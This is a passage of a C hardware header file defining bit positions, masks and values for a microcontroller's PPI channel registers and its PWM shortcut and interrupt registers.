/* Bit 6 : Channel 6 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH6_Pos (6UL) /*!< Position of CH6 field. */
#define PPI_CHENCLR_CH6_Msk (0x1UL << PPI_CHENCLR_CH6_Pos) /*!< Bit mask of CH6 field. */
#define PPI_CHENCLR_CH6_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH6_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH6_Clear (1UL) /*!< Write: disable channel */
/* Bit 5 : Channel 5 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH5_Pos (5UL) /*!< Position of CH5 field. */
#define PPI_CHENCLR_CH5_Msk (0x1UL << PPI_CHENCLR_CH5_Pos) /*!< Bit mask of CH5 field. */
#define PPI_CHENCLR_CH5_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH5_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH5_Clear (1UL) /*!< Write: disable channel */
/* Bit 4 : Channel 4 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH4_Pos (4UL) /*!< Position of CH4 field. */
#define PPI_CHENCLR_CH4_Msk (0x1UL << PPI_CHENCLR_CH4_Pos) /*!< Bit mask of CH4 field. */
#define PPI_CHENCLR_CH4_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH4_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH4_Clear (1UL) /*!< Write: disable channel */
/* Bit 3 : Channel 3 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH3_Pos (3UL) /*!< Position of CH3 field. */
#define PPI_CHENCLR_CH3_Msk (0x1UL << PPI_CHENCLR_CH3_Pos) /*!< Bit mask of CH3 field. */
#define PPI_CHENCLR_CH3_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH3_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH3_Clear (1UL) /*!< Write: disable channel */
/* Bit 2 : Channel 2 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH2_Pos (2UL) /*!< Position of CH2 field. */
#define PPI_CHENCLR_CH2_Msk (0x1UL << PPI_CHENCLR_CH2_Pos) /*!< Bit mask of CH2 field. */
#define PPI_CHENCLR_CH2_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH2_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH2_Clear (1UL) /*!< Write: disable channel */
/* Bit 1 : Channel 1 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH1_Pos (1UL) /*!< Position of CH1 field. */
#define PPI_CHENCLR_CH1_Msk (0x1UL << PPI_CHENCLR_CH1_Pos) /*!< Bit mask of CH1 field. */
#define PPI_CHENCLR_CH1_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH1_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH1_Clear (1UL) /*!< Write: disable channel */
/* Bit 0 : Channel 0 enable clear register. Writing '0' has no effect */
#define PPI_CHENCLR_CH0_Pos (0UL) /*!< Position of CH0 field. */
#define PPI_CHENCLR_CH0_Msk (0x1UL << PPI_CHENCLR_CH0_Pos) /*!< Bit mask of CH0 field. */
#define PPI_CHENCLR_CH0_Disabled (0UL) /*!< Read: channel disabled */
#define PPI_CHENCLR_CH0_Enabled (1UL) /*!< Read: channel enabled */
#define PPI_CHENCLR_CH0_Clear (1UL) /*!< Write: disable channel */
/* Register: PPI_CH_EEP */
/* Description: Description cluster[0]: Channel 0 event end-point */
/* Bits 31..0 : Pointer to event register. Accepts only addresses to registers from the Event group. */
#define PPI_CH_EEP_EEP_Pos (0UL) /*!< Position of EEP field. */
#define PPI_CH_EEP_EEP_Msk (0xFFFFFFFFUL << PPI_CH_EEP_EEP_Pos) /*!< Bit mask of EEP field. */
/* Register: PPI_CH_TEP */
/* Description: Description cluster[0]: Channel 0 task end-point */
/* Bits 31..0 : Pointer to task register. Accepts only addresses to registers from the Task group. */
#define PPI_CH_TEP_TEP_Pos (0UL) /*!< Position of TEP field. */
#define PPI_CH_TEP_TEP_Msk (0xFFFFFFFFUL << PPI_CH_TEP_TEP_Pos) /*!< Bit mask of TEP field. */
/* Register: PPI_CHG */
/* Description: Description collection[0]: Channel group 0 */
/* Bit 31 : Include or exclude channel 31 */
#define PPI_CHG_CH31_Pos (31UL) /*!< Position of CH31 field. */
#define PPI_CHG_CH31_Msk (0x1UL << PPI_CHG_CH31_Pos) /*!< Bit mask of CH31 field. */
#define PPI_CHG_CH31_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH31_Included (1UL) /*!< Include */
/* Bit 30 : Include or exclude channel 30 */
#define PPI_CHG_CH30_Pos (30UL) /*!< Position of CH30 field. */
#define PPI_CHG_CH30_Msk (0x1UL << PPI_CHG_CH30_Pos) /*!< Bit mask of CH30 field. */
#define PPI_CHG_CH30_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH30_Included (1UL) /*!< Include */
/* Bit 29 : Include or exclude channel 29 */
#define PPI_CHG_CH29_Pos (29UL) /*!< Position of CH29 field. */
#define PPI_CHG_CH29_Msk (0x1UL << PPI_CHG_CH29_Pos) /*!< Bit mask of CH29 field. */
#define PPI_CHG_CH29_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH29_Included (1UL) /*!< Include */
/* Bit 28 : Include or exclude channel 28 */
#define PPI_CHG_CH28_Pos (28UL) /*!< Position of CH28 field. */
#define PPI_CHG_CH28_Msk (0x1UL << PPI_CHG_CH28_Pos) /*!< Bit mask of CH28 field. */
#define PPI_CHG_CH28_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH28_Included (1UL) /*!< Include */
/* Bit 27 : Include or exclude channel 27 */
#define PPI_CHG_CH27_Pos (27UL) /*!< Position of CH27 field. */
#define PPI_CHG_CH27_Msk (0x1UL << PPI_CHG_CH27_Pos) /*!< Bit mask of CH27 field. */
#define PPI_CHG_CH27_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH27_Included (1UL) /*!< Include */
/* Bit 26 : Include or exclude channel 26 */
#define PPI_CHG_CH26_Pos (26UL) /*!< Position of CH26 field. */
#define PPI_CHG_CH26_Msk (0x1UL << PPI_CHG_CH26_Pos) /*!< Bit mask of CH26 field. */
#define PPI_CHG_CH26_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH26_Included (1UL) /*!< Include */
/* Bit 25 : Include or exclude channel 25 */
#define PPI_CHG_CH25_Pos (25UL) /*!< Position of CH25 field. */
#define PPI_CHG_CH25_Msk (0x1UL << PPI_CHG_CH25_Pos) /*!< Bit mask of CH25 field. */
#define PPI_CHG_CH25_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH25_Included (1UL) /*!< Include */
/* Bit 24 : Include or exclude channel 24 */
#define PPI_CHG_CH24_Pos (24UL) /*!< Position of CH24 field. */
#define PPI_CHG_CH24_Msk (0x1UL << PPI_CHG_CH24_Pos) /*!< Bit mask of CH24 field. */
#define PPI_CHG_CH24_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH24_Included (1UL) /*!< Include */
/* Bit 23 : Include or exclude channel 23 */
#define PPI_CHG_CH23_Pos (23UL) /*!< Position of CH23 field. */
#define PPI_CHG_CH23_Msk (0x1UL << PPI_CHG_CH23_Pos) /*!< Bit mask of CH23 field. */
#define PPI_CHG_CH23_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH23_Included (1UL) /*!< Include */
/* Bit 22 : Include or exclude channel 22 */
#define PPI_CHG_CH22_Pos (22UL) /*!< Position of CH22 field. */
#define PPI_CHG_CH22_Msk (0x1UL << PPI_CHG_CH22_Pos) /*!< Bit mask of CH22 field. */
#define PPI_CHG_CH22_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH22_Included (1UL) /*!< Include */
/* Bit 21 : Include or exclude channel 21 */
#define PPI_CHG_CH21_Pos (21UL) /*!< Position of CH21 field. */
#define PPI_CHG_CH21_Msk (0x1UL << PPI_CHG_CH21_Pos) /*!< Bit mask of CH21 field. */
#define PPI_CHG_CH21_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH21_Included (1UL) /*!< Include */
/* Bit 20 : Include or exclude channel 20 */
#define PPI_CHG_CH20_Pos (20UL) /*!< Position of CH20 field. */
#define PPI_CHG_CH20_Msk (0x1UL << PPI_CHG_CH20_Pos) /*!< Bit mask of CH20 field. */
#define PPI_CHG_CH20_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH20_Included (1UL) /*!< Include */
/* Bit 19 : Include or exclude channel 19 */
#define PPI_CHG_CH19_Pos (19UL) /*!< Position of CH19 field. */
#define PPI_CHG_CH19_Msk (0x1UL << PPI_CHG_CH19_Pos) /*!< Bit mask of CH19 field. */
#define PPI_CHG_CH19_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH19_Included (1UL) /*!< Include */
/* Bit 18 : Include or exclude channel 18 */
#define PPI_CHG_CH18_Pos (18UL) /*!< Position of CH18 field. */
#define PPI_CHG_CH18_Msk (0x1UL << PPI_CHG_CH18_Pos) /*!< Bit mask of CH18 field. */
#define PPI_CHG_CH18_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH18_Included (1UL) /*!< Include */
/* Bit 17 : Include or exclude channel 17 */
#define PPI_CHG_CH17_Pos (17UL) /*!< Position of CH17 field. */
#define PPI_CHG_CH17_Msk (0x1UL << PPI_CHG_CH17_Pos) /*!< Bit mask of CH17 field. */
#define PPI_CHG_CH17_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH17_Included (1UL) /*!< Include */
/* Bit 16 : Include or exclude channel 16 */
#define PPI_CHG_CH16_Pos (16UL) /*!< Position of CH16 field. */
#define PPI_CHG_CH16_Msk (0x1UL << PPI_CHG_CH16_Pos) /*!< Bit mask of CH16 field. */
#define PPI_CHG_CH16_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH16_Included (1UL) /*!< Include */
/* Bit 15 : Include or exclude channel 15 */
#define PPI_CHG_CH15_Pos (15UL) /*!< Position of CH15 field. */
#define PPI_CHG_CH15_Msk (0x1UL << PPI_CHG_CH15_Pos) /*!< Bit mask of CH15 field. */
#define PPI_CHG_CH15_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH15_Included (1UL) /*!< Include */
/* Bit 14 : Include or exclude channel 14 */
#define PPI_CHG_CH14_Pos (14UL) /*!< Position of CH14 field. */
#define PPI_CHG_CH14_Msk (0x1UL << PPI_CHG_CH14_Pos) /*!< Bit mask of CH14 field. */
#define PPI_CHG_CH14_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH14_Included (1UL) /*!< Include */
/* Bit 13 : Include or exclude channel 13 */
#define PPI_CHG_CH13_Pos (13UL) /*!< Position of CH13 field. */
#define PPI_CHG_CH13_Msk (0x1UL << PPI_CHG_CH13_Pos) /*!< Bit mask of CH13 field. */
#define PPI_CHG_CH13_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH13_Included (1UL) /*!< Include */
/* Bit 12 : Include or exclude channel 12 */
#define PPI_CHG_CH12_Pos (12UL) /*!< Position of CH12 field. */
#define PPI_CHG_CH12_Msk (0x1UL << PPI_CHG_CH12_Pos) /*!< Bit mask of CH12 field. */
#define PPI_CHG_CH12_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH12_Included (1UL) /*!< Include */
/* Bit 11 : Include or exclude channel 11 */
#define PPI_CHG_CH11_Pos (11UL) /*!< Position of CH11 field. */
#define PPI_CHG_CH11_Msk (0x1UL << PPI_CHG_CH11_Pos) /*!< Bit mask of CH11 field. */
#define PPI_CHG_CH11_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH11_Included (1UL) /*!< Include */
/* Bit 10 : Include or exclude channel 10 */
#define PPI_CHG_CH10_Pos (10UL) /*!< Position of CH10 field. */
#define PPI_CHG_CH10_Msk (0x1UL << PPI_CHG_CH10_Pos) /*!< Bit mask of CH10 field. */
#define PPI_CHG_CH10_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH10_Included (1UL) /*!< Include */
/* Bit 9 : Include or exclude channel 9 */
#define PPI_CHG_CH9_Pos (9UL) /*!< Position of CH9 field. */
#define PPI_CHG_CH9_Msk (0x1UL << PPI_CHG_CH9_Pos) /*!< Bit mask of CH9 field. */
#define PPI_CHG_CH9_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH9_Included (1UL) /*!< Include */
/* Bit 8 : Include or exclude channel 8 */
#define PPI_CHG_CH8_Pos (8UL) /*!< Position of CH8 field. */
#define PPI_CHG_CH8_Msk (0x1UL << PPI_CHG_CH8_Pos) /*!< Bit mask of CH8 field. */
#define PPI_CHG_CH8_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH8_Included (1UL) /*!< Include */
/* Bit 7 : Include or exclude channel 7 */
#define PPI_CHG_CH7_Pos (7UL) /*!< Position of CH7 field. */
#define PPI_CHG_CH7_Msk (0x1UL << PPI_CHG_CH7_Pos) /*!< Bit mask of CH7 field. */
#define PPI_CHG_CH7_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH7_Included (1UL) /*!< Include */
/* Bit 6 : Include or exclude channel 6 */
#define PPI_CHG_CH6_Pos (6UL) /*!< Position of CH6 field. */
#define PPI_CHG_CH6_Msk (0x1UL << PPI_CHG_CH6_Pos) /*!< Bit mask of CH6 field. */
#define PPI_CHG_CH6_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH6_Included (1UL) /*!< Include */
/* Bit 5 : Include or exclude channel 5 */
#define PPI_CHG_CH5_Pos (5UL) /*!< Position of CH5 field. */
#define PPI_CHG_CH5_Msk (0x1UL << PPI_CHG_CH5_Pos) /*!< Bit mask of CH5 field. */
#define PPI_CHG_CH5_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH5_Included (1UL) /*!< Include */
/* Bit 4 : Include or exclude channel 4 */
#define PPI_CHG_CH4_Pos (4UL) /*!< Position of CH4 field. */
#define PPI_CHG_CH4_Msk (0x1UL << PPI_CHG_CH4_Pos) /*!< Bit mask of CH4 field. */
#define PPI_CHG_CH4_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH4_Included (1UL) /*!< Include */
/* Bit 3 : Include or exclude channel 3 */
#define PPI_CHG_CH3_Pos (3UL) /*!< Position of CH3 field. */
#define PPI_CHG_CH3_Msk (0x1UL << PPI_CHG_CH3_Pos) /*!< Bit mask of CH3 field. */
#define PPI_CHG_CH3_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH3_Included (1UL) /*!< Include */
/* Bit 2 : Include or exclude channel 2 */
#define PPI_CHG_CH2_Pos (2UL) /*!< Position of CH2 field. */
#define PPI_CHG_CH2_Msk (0x1UL << PPI_CHG_CH2_Pos) /*!< Bit mask of CH2 field. */
#define PPI_CHG_CH2_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH2_Included (1UL) /*!< Include */
/* Bit 1 : Include or exclude channel 1 */
#define PPI_CHG_CH1_Pos (1UL) /*!< Position of CH1 field. */
#define PPI_CHG_CH1_Msk (0x1UL << PPI_CHG_CH1_Pos) /*!< Bit mask of CH1 field. */
#define PPI_CHG_CH1_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH1_Included (1UL) /*!< Include */
/* Bit 0 : Include or exclude channel 0 */
#define PPI_CHG_CH0_Pos (0UL) /*!< Position of CH0 field. */
#define PPI_CHG_CH0_Msk (0x1UL << PPI_CHG_CH0_Pos) /*!< Bit mask of CH0 field. */
#define PPI_CHG_CH0_Excluded (0UL) /*!< Exclude */
#define PPI_CHG_CH0_Included (1UL) /*!< Include */
/* Register: PPI_FORK_TEP */
/* Description: Description cluster[0]: Channel 0 task end-point */
/* Bits 31..0 : Pointer to task register */
#define PPI_FORK_TEP_TEP_Pos (0UL) /*!< Position of TEP field. */
#define PPI_FORK_TEP_TEP_Msk (0xFFFFFFFFUL << PPI_FORK_TEP_TEP_Pos) /*!< Bit mask of TEP field. */
/* Peripheral: PWM */
/* Description: Pulse Width Modulation Unit 0 */
/* Register: PWM_SHORTS */
/* Description: Shortcut register */
/* Bit 4 : Shortcut between LOOPSDONE event and STOP task */
#define PWM_SHORTS_LOOPSDONE_STOP_Pos (4UL) /*!< Position of LOOPSDONE_STOP field. */
#define PWM_SHORTS_LOOPSDONE_STOP_Msk (0x1UL << PWM_SHORTS_LOOPSDONE_STOP_Pos) /*!< Bit mask of LOOPSDONE_STOP field. */
#define PWM_SHORTS_LOOPSDONE_STOP_Disabled (0UL) /*!< Disable shortcut */
#define PWM_SHORTS_LOOPSDONE_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 3 : Shortcut between LOOPSDONE event and SEQSTART[1] task */
#define PWM_SHORTS_LOOPSDONE_SEQSTART1_Pos (3UL) /*!< Position of LOOPSDONE_SEQSTART1 field. */
#define PWM_SHORTS_LOOPSDONE_SEQSTART1_Msk (0x1UL << PWM_SHORTS_LOOPSDONE_SEQSTART1_Pos) /*!< Bit mask of LOOPSDONE_SEQSTART1 field. */
#define PWM_SHORTS_LOOPSDONE_SEQSTART1_Disabled (0UL) /*!< Disable shortcut */
#define PWM_SHORTS_LOOPSDONE_SEQSTART1_Enabled (1UL) /*!< Enable shortcut */
/* Bit 2 : Shortcut between LOOPSDONE event and SEQSTART[0] task */
#define PWM_SHORTS_LOOPSDONE_SEQSTART0_Pos (2UL) /*!< Position of LOOPSDONE_SEQSTART0 field. */
#define PWM_SHORTS_LOOPSDONE_SEQSTART0_Msk (0x1UL << PWM_SHORTS_LOOPSDONE_SEQSTART0_Pos) /*!< Bit mask of LOOPSDONE_SEQSTART0 field. */
#define PWM_SHORTS_LOOPSDONE_SEQSTART0_Disabled (0UL) /*!< Disable shortcut */
#define PWM_SHORTS_LOOPSDONE_SEQSTART0_Enabled (1UL) /*!< Enable shortcut */
/* Bit 1 : Shortcut between SEQEND[1] event and STOP task */
#define PWM_SHORTS_SEQEND1_STOP_Pos (1UL) /*!< Position of SEQEND1_STOP field. */
#define PWM_SHORTS_SEQEND1_STOP_Msk (0x1UL << PWM_SHORTS_SEQEND1_STOP_Pos) /*!< Bit mask of SEQEND1_STOP field. */
#define PWM_SHORTS_SEQEND1_STOP_Disabled (0UL) /*!< Disable shortcut */
#define PWM_SHORTS_SEQEND1_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Bit 0 : Shortcut between SEQEND[0] event and STOP task */
#define PWM_SHORTS_SEQEND0_STOP_Pos (0UL) /*!< Position of SEQEND0_STOP field. */
#define PWM_SHORTS_SEQEND0_STOP_Msk (0x1UL << PWM_SHORTS_SEQEND0_STOP_Pos) /*!< Bit mask of SEQEND0_STOP field. */
#define PWM_SHORTS_SEQEND0_STOP_Disabled (0UL) /*!< Disable shortcut */
#define PWM_SHORTS_SEQEND0_STOP_Enabled (1UL) /*!< Enable shortcut */
/* Register: PWM_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 7 : Enable or disable interrupt for LOOPSDONE event */
#define PWM_INTEN_LOOPSDONE_Pos (7UL) /*!< Position of LOOPSDONE field. */
#define PWM_INTEN_LOOPSDONE_Msk (0x1UL << PWM_INTEN_LOOPSDONE_Pos) /*!< Bit mask of LOOPSDONE field. */
#define PWM_INTEN_LOOPSDONE_Disabled (0UL) /*!< Disable */
#define PWM_INTEN_LOOPSDONE_Enabled (1UL) /*!< Enable */
/* Bit 6 : Enable or disable interrupt for PWMPERIODEND event */
#define PWM_INTEN_PWMPERIODEND_Pos (6UL) /*!< Position of PWMPERIODEND field. */
#define PWM_INTEN_PWMPERIODEND_Msk (0x1UL << PWM_INTEN_PWMPERIODEND_Pos) /*!< Bit mask of PWMPERIODEND field. */
#define PWM_INTEN_PWMPERIODEND_Disabled (0UL) /*!< Disable */
#define PWM_INTEN_PWMPERIODEND_Enabled (1UL) /*!< Enable */
/* Bit 5 : Enable or disable interrupt for SEQEND[1] event */
#define PWM_INTEN_SEQEND1_Pos (5UL) /*!< Position of SEQEND1 field. */
#define PWM_INTEN_SEQEND1_Msk (0x1UL << PWM_INTEN_SEQEND1_Pos) /*!< Bit mask of SEQEND1 field. */
#define PWM_INTEN_SEQEND1_Disabled (0UL) /*!< Disable */
#define PWM_INTEN_SEQEND1_Enabled (1UL) /*!< Enable */
/* Bit 4 : Enable or disable interrupt for SEQEND[0] event */
#define PWM_INTEN_SEQEND0_Pos (4UL) /*!< Position of SEQEND0 field. */
#define PWM_INTEN_SEQEND0_Msk (0x1UL << PWM_INTEN_SEQEND0_Pos) /*!< Bit mask of SEQEND0 field. */
#define PWM_INTEN_SEQEND0_Disabled (0UL) /*!< Disable */
#define PWM_INTEN_SEQEND0_Enabled (1UL) /*!< Enable */
/* Bit 3 : Enable or disable interrupt for SEQSTARTED[1] event */
#define PWM_INTEN_SEQSTARTED1_Pos (3UL) /*!< Position of SEQSTARTED1 field. */
#define PWM_INTEN_SEQSTARTED1_Msk (0x1UL << PWM_INTEN_SEQSTARTED1_Pos) /*!< Bit mask of SEQSTARTED1 field. */
#define PWM_INTEN_SEQSTARTED1_Disabled (0UL) /*!< Disable */
#define PWM_INTEN_SEQSTARTED1_Enabled (1UL) /*!< Enable */
/* Bit 2 : Enable or disable interrupt for SEQSTARTED[0] event */
#define PWM_INTEN_SEQSTARTED0_Pos (2UL) /*!< Position of SEQSTARTED0 field. */
#define PWM_INTEN_SEQSTARTED0_Msk (0x1UL << PWM_INTEN_SEQSTARTED0_Pos) /*!< Bit mask of SEQSTARTED0 field. */
#define PWM_INTEN_SEQSTARTED0_Disabled (0UL) /*!< Disable */
#define PWM_INTEN_SEQSTARTED0_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for STOPPED event */
#define PWM_INTEN_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define PWM_INTEN_STOPPED_Msk (0x1UL << PWM_INTEN_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define PWM_INTEN_STOPPED_Disabled (0UL) /*!< Disable */
#define PWM_INTEN_STOPPED_Enabled (1UL) /*!< Enable */
/* Register: PWM_INTENSET */
/* Description: Enable interrupt */
/* Bit 7 : Write '1' to Enable interrupt for LOOPSDONE event */
#define PWM_INTENSET_LOOPSDONE_Pos (7UL) /*!< Position of LOOPSDONE field. */
#define PWM_INTENSET_LOOPSDONE_Msk (0x1UL << PWM_INTENSET_LOOPSDONE_Pos) /*!< Bit mask of LOOPSDONE field. */
#define PWM_INTENSET_LOOPSDONE_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENSET_LOOPSDONE_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENSET_LOOPSDONE_Set (1UL) /*!< Enable */
/* Bit 6 : Write '1' to Enable interrupt for PWMPERIODEND event */
#define PWM_INTENSET_PWMPERIODEND_Pos (6UL) /*!< Position of PWMPERIODEND field. */
#define PWM_INTENSET_PWMPERIODEND_Msk (0x1UL << PWM_INTENSET_PWMPERIODEND_Pos) /*!< Bit mask of PWMPERIODEND field. */
#define PWM_INTENSET_PWMPERIODEND_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENSET_PWMPERIODEND_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENSET_PWMPERIODEND_Set (1UL) /*!< Enable */
/* Bit 5 : Write '1' to Enable interrupt for SEQEND[1] event */
#define PWM_INTENSET_SEQEND1_Pos (5UL) /*!< Position of SEQEND1 field. */
#define PWM_INTENSET_SEQEND1_Msk (0x1UL << PWM_INTENSET_SEQEND1_Pos) /*!< Bit mask of SEQEND1 field. */
#define PWM_INTENSET_SEQEND1_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENSET_SEQEND1_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENSET_SEQEND1_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable interrupt for SEQEND[0] event */
#define PWM_INTENSET_SEQEND0_Pos (4UL) /*!< Position of SEQEND0 field. */
#define PWM_INTENSET_SEQEND0_Msk (0x1UL << PWM_INTENSET_SEQEND0_Pos) /*!< Bit mask of SEQEND0 field. */
#define PWM_INTENSET_SEQEND0_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENSET_SEQEND0_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENSET_SEQEND0_Set (1UL) /*!< Enable */
/* Bit 3 : Write '1' to Enable interrupt for SEQSTARTED[1] event */
#define PWM_INTENSET_SEQSTARTED1_Pos (3UL) /*!< Position of SEQSTARTED1 field. */
#define PWM_INTENSET_SEQSTARTED1_Msk (0x1UL << PWM_INTENSET_SEQSTARTED1_Pos) /*!< Bit mask of SEQSTARTED1 field. */
#define PWM_INTENSET_SEQSTARTED1_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENSET_SEQSTARTED1_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENSET_SEQSTARTED1_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for SEQSTARTED[0] event */
#define PWM_INTENSET_SEQSTARTED0_Pos (2UL) /*!< Position of SEQSTARTED0 field. */
#define PWM_INTENSET_SEQSTARTED0_Msk (0x1UL << PWM_INTENSET_SEQSTARTED0_Pos) /*!< Bit mask of SEQSTARTED0 field. */
#define PWM_INTENSET_SEQSTARTED0_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENSET_SEQSTARTED0_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENSET_SEQSTARTED0_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for STOPPED event */
#define PWM_INTENSET_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
#define PWM_INTENSET_STOPPED_Msk (0x1UL << PWM_INTENSET_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define PWM_INTENSET_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENSET_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENSET_STOPPED_Set (1UL) /*!< Enable */
/* Register: PWM_INTENCLR */
/* Description: Disable interrupt */
/* Bit 7 : Write '1' to Disable interrupt for LOOPSDONE event */
#define PWM_INTENCLR_LOOPSDONE_Pos (7UL) /*!< Position of LOOPSDONE field. */
#define PWM_INTENCLR_LOOPSDONE_Msk (0x1UL << PWM_INTENCLR_LOOPSDONE_Pos) /*!< Bit mask of LOOPSDONE field. */
#define PWM_INTENCLR_LOOPSDONE_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENCLR_LOOPSDONE_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENCLR_LOOPSDONE_Clear (1UL) /*!< Disable */
/* Bit 6 : Write '1' to Disable interrupt for PWMPERIODEND event */
#define PWM_INTENCLR_PWMPERIODEND_Pos (6UL) /*!< Position of PWMPERIODEND field. */
#define PWM_INTENCLR_PWMPERIODEND_Msk (0x1UL << PWM_INTENCLR_PWMPERIODEND_Pos) /*!< Bit mask of PWMPERIODEND field. */
#define PWM_INTENCLR_PWMPERIODEND_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENCLR_PWMPERIODEND_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENCLR_PWMPERIODEND_Clear (1UL) /*!< Disable */
/* Bit 5 : Write '1' to Disable interrupt for SEQEND[1] event */
#define PWM_INTENCLR_SEQEND1_Pos (5UL) /*!< Position of SEQEND1 field. */
#define PWM_INTENCLR_SEQEND1_Msk (0x1UL << PWM_INTENCLR_SEQEND1_Pos) /*!< Bit mask of SEQEND1 field. */
#define PWM_INTENCLR_SEQEND1_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENCLR_SEQEND1_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENCLR_SEQEND1_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable interrupt for SEQEND[0] event */
#define PWM_INTENCLR_SEQEND0_Pos (4UL) /*!< Position of SEQEND0 field. */
#define PWM_INTENCLR_SEQEND0_Msk (0x1UL << PWM_INTENCLR_SEQEND0_Pos) /*!< Bit mask of SEQEND0 field. */
#define PWM_INTENCLR_SEQEND0_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENCLR_SEQEND0_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENCLR_SEQEND0_Clear (1UL) /*!< Disable */
/* Bit 3 : Write '1' to Disable interrupt for SEQSTARTED[1] event */
#define PWM_INTENCLR_SEQSTARTED1_Pos (3UL) /*!< Position of SEQSTARTED1 field. */
#define PWM_INTENCLR_SEQSTARTED1_Msk (0x1UL << PWM_INTENCLR_SEQSTARTED1_Pos) /*!< Bit mask of SEQSTARTED1 field. */
#define PWM_INTENCLR_SEQSTARTED1_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENCLR_SEQSTARTED1_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENCLR_SEQSTARTED1_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for SEQSTARTED[0] event */
#define PWM_INTENCLR_SEQSTARTED0_Pos (2UL) /*!< Position of SEQSTARTED0 field. */
#define PWM_INTENCLR_SEQSTARTED0_Msk (0x1UL << PWM_INTENCLR_SEQSTARTED0_Pos) /*!< Bit mask of SEQSTARTED0 field. */
#define PWM_INTENCLR_SEQSTARTED0_Disabled (0UL) /*!< Read: Disabled */
#define PWM_INTENCLR_SEQSTARTED0_Enabled (1UL) /*!< Read: Enabled */
#define PWM_INTENCLR_SEQSTARTED0_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for STOPPED event */
#define PWM_INTENCLR_STOPPED_Pos (1UL) /*!< Position of STOPPED field. */
